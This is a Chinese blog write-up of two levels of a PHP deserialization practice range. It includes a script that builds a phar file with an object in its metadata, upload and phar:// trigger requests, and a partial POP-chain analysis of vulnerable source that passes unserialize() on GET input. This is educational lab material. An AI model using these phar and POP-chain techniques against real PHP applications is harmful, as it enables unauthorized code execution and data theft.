其实需要我们提交两次请求,一次负责检查一次负责上传,先把文件上传了,在之后的检查中才能通过协议触发反序列化

  1. 构造一个 phar 文件,包含 funny 对象
  2. 通过 upload 功能上传该 phar 文件(base64 编码)
  3. 通过 check 功能使用 phar:// 协议访问上传的文件,触发反序列化

创建phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class funny {
// 空类即可,目标环境已定义
}

// 创建 phar 文件
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test'); // 添加文件内容
$object = new funny();
$phar->setMetadata($object); // 设置 metadata 为 funny 对象
$phar->stopBuffering();

echo "Phar 文件生成成功\n";
echo base64_encode(file_get_contents('exploit.phar'));
?>
1
GET /target.php?action=upload&data=[base64编码的phar文件内容]

会返回类似:Your file path:./upload/1234.txt路径展示

./:当前目录

发送请求:

1
GET /un7.php?action=check&file=phar://./upload/1234.txt

此时 file_exists() 会解析 phar 文件,反序列化 metadata 中的 funny 对象,触发 __destruct() 方法输出 flag。

un-8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
include("./flag8.php");

class a {
public $object;

public function resolve() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "system" && $prev === "ls") {
echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class b {
protected $filename;

protected function addMe() {
return "Add Failed. Filename:".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}

class c {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

if (isset($_GET["tryhackme"])) {
unserialize($_GET['tryhackme']);
} else {
highlight_file(__FILE__);
}

还有数组

__call($method, $args):调用不存在的方法时触发,在对象中调用一个不可访问方法时,__call() 会被调用。

__toString():对象转字符串时调用,方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。filename和string

array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

有三个类,其中有很多个魔术方法,找触发开始和结束的链子,结束在函数resolve,返回flag,这个和popself那个题一样,这次打算换向理一理

  1. 首先是看到flag的位置,想要得到flag需要满足等式,在payload中需要自定义一个函数使等式满足需要触发resolve()函数,
  2. 函数内两个变量的赋值倒是比较直接,只需要满足值相等就可以了,那这个函数是必须要存在的,不能作为__call()的触发点
  3. 但是这里刚好看到__call()这里,有陌生的函数,感觉是自定义函数的表示,所以应该是有两个自定义函数,然后一个是不存在的,另一个是需要做赋值使满足比较的
  4. 比较里是一个变量和一个数组,要求数组的第一个是system,也就是说其实可以在这个数组里放入一些其他东西
  5. 函数用add(),类c里有数组,还需要有一个无效函数触发,对,那就是add无效,但是addme有效,所以无效函数就是add()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class a {
public $object;

public function resolve() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "system" && $prev === "ls") {
echo "Wow, you rce me! But I can't let you do this. There is the flag. Enjoy it:)\n";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}
  • 属性
    • public $object:公开属性,可存储任意值。
  • 方法
    • resolve():使用 array_walk 遍历当前对象($this)。回调函数检查每个属性的键($prev)是否为 "ls",且值($fn)的第一个元素是否为 "system"。条件满足时,通过 global $flag 引入全局变量 $flag 并输出。
    • __destruct():析构函数,在对象销毁时自动调用。尝试调用 $this->objectadd() 方法,使用 @ 抑制错误。
    • __toString():当对象被作为字符串使用时自动调用,返回 $this->object->string 的值。
1
2
3
4
5
6
7
8
9
10
11
class b {
protected $filename;

protected function addMe() {
return "Add Failed. Filename:".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
  • 属性
    • protected $filename:受保护属性,仅在类内部或子类中可访问。
  • 方法
    • addMe():受保护方法,返回包含 $filename 的字符串。
    • __call($func, $args):当调用不可访问的方法(如受保护或不存在的方法)时触发。使用 call_user_func 调用方法名加上 "Me" 后缀的方法(例如调用 add 则实际调用 addMe),并将 $args 作为参数传递。

这里能看出来需要利用的函数可以是add()

1
2
3
4
5
6
7
8
9
10
11
12
class c {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
  • 属性
    • private $string:私有属性,仅在类内部可访问。
  • 方法
    • __construct($string):构造函数,初始化 $string 属性。
    • __get($name):当访问不可访问的属性(如私有属性)时触发。将 $this->$name 赋值给 $var,然后尝试将 $var 作为数组,并调用 $var[$name]()

这里,数组也出现了

如果要触发就有现成的可以直接用string

  • array_walk($array, $callback):遍历数组或对象,对每个元素应用回调函数。回调函数接收值($fn)和键($prev)作为参数。
  • call_user_func($callback, $parameters):调用回调函数,第一个参数为可调用的回调,第二个为参数数组。
  • unserialize($data):将序列化的字符串转换回PHP值(可能包含对象实例)。
  • highlight_file($filename):输出文件内容,并高亮显示PHP语法。
  • global $var:在函数内部引入全局作用域的变量 $var
  • @ 错误控制运算符:抑制表达式可能产生的错误信息。
Icon
致谢名单
本作品由 LwhalE 于 2026-02-06 17:45:41 发布
作品地址:php反序列化靶场
除特别声明外,本站作品均采用 CC BY-NC-SA 4.0 许可协议,转载请注明来自 LwhalE's blog
Logo